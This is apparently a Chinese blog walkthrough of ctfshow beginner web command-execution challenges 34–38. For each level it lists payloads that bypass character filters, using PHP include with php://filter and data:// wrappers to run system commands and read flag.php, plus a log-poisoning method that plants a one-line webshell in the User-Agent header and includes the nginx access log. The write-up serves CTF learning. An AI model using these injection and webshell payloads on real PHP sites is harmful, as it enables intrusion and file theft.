ctfshow web入门 命令执行34-38
1.web34

和web33差不多,过滤了冒号
第一个为官方解法
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
2.web35

这题过滤了<,=和上题一样还是可以用
第一个为官方解法
payload:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl flag.php")?>
3.web36

这题又过滤了数字,可以继续使用上题的payload,把数字改为字母即可
第一个为官方解法
payload:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=data://text/plain,<?php system("nl flag.php")?>
4.web37

这题变为了文件包含类的文件执行,过滤了flag,php伪协议中的filter不行
第二个为官方解法
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==解码后是<?php system('cat flag.php');?>
c=data://text/palin,<?php system("nl fla*");?>
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
ua文件包含日志
ua头文件包含
通过信息搜集知道是什么类型的服务器,日志默认位置就知道了
nginx /var/log/nginx/access.log
apache Usr/local/apache/logs/access.log

burp抓包往ua中写入一句话木马

进行日志包含连接蚁剑,得到flag
http://xx/?c=/var/log/nginx/access.log

为什么在ua头进行日志包含,其他地方进行了编码,php代码不能正常执行

文件包含只能包含文件,或者用php伪协议去执行php代码或命令,<?php system("nl fla*")?>或system("nl fla*")是不行的

写一个php代码文件,代码是查看2.txt,再去包含,就可以查看了

5.web38

这题用过滤了file,php等
payload:
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
ua头文件包含
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理